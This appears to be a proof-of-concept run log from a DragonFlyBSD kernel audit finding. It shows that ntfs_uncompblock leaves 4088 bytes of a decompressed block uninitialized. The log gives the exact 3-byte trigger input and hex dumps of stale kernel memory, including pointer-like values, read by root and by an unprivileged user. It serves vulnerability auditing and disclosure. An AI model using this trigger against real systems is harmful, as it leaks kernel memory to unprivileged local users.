DragonFlyBSD Kernel Audit
DF-0933 / run.log
← back to finding ↓ download raw
########## DETERMINISTIC HARNESS ##########
=== DF-0933 ntfs_uncompblock uninitialized-tail harness ===
[harness] transcribes sys/vfs/ntfs/ntfs_compr.c:46-93 line-for-line
[harness] trigger block (3 bytes + zero pad): 01 80 00
[harness]   header 0x8001: COMPRESSED, len=1 (payload+header = 4 B)
[harness]   ctag 0x00: all 8 sub-tokens are LITERALS
[harness]   -> decompresses only buf[0..7], pos ends at 8
[harness]   -> buf[8..4095] (4088 B) never written, never zeroed

[harness] ntfs_uncompblock returned 4 (len+3)

[harness] buf[0..15]  (first 8 = literals, 8..15 = tail):
  00 00 00 00 00 00 00 00 DE DE DE DE DE DE DE DE 

[harness] bytes still == 0xDE sentinel in buf[8..4095]: 4072 / 4088
[harness] buf[4080..4095] (ascii marker region):
  53 54 41 4C 45 2D 4B 4D 41 4C 4C 4F 43 2D 48 45   |STALE-KMALLOC-HE|

[harness] LEAK CONFIRMED: buf[8..4095] retains the sentinel.
[harness]   The compressed branch of ntfs_uncompblock returned
[harness]   without zeroing 4088 bytes of the output block.
[harness]   On the kernel these bytes are stale M_NTFSDECOMP slab
[harness]   content shipped to any reader via uiomove.

########## LIVE IN-KERNEL (#0 GENERIC, UNPATCHED) ##########
--- root reads (first 64 B) ---
root read 1:
           00  00  00  00  00  00  00  00  d8  33  73  00  08  00  00  00
           e0  33  73  00  08  00  00  00  88  30  73  00  08  00  00  00
           90  30  73  00  08  00  00  00  98  30  73  00  08  00  00  00
           00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
root read 2:
           00  00  00  00  00  00  00  00  d8  33  73  00  08  00  00  00
           e0  33  73  00  08  00  00  00  88  30  73  00  08  00  00  00
           90  30  73  00  08  00  00  00  98  30  73  00  08  00  00  00
           00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
root read 3:
           00  00  00  00  00  00  00  00  d8  33  73  00  08  00  00  00
           e0  33  73  00  08  00  00  00  88  30  73  00  08  00  00  00
           90  30  73  00  08  00  00  00  98  30  73  00  08  00  00  00
           00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
nonzero bytes in 4096:     1364
--- unprivileged maxx (uid 1001) reads (first 64 B) ---
           00  00  00  00  00  00  00  00  d8  33  73  00  08  00  00  00
           e0  33  73  00  08  00  00  00  88  30  73  00  08  00  00  00
           90  30  73  00  08  00  00  00  98  30  73  00  08  00  00  00
           00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
RC=0
RUN_DONE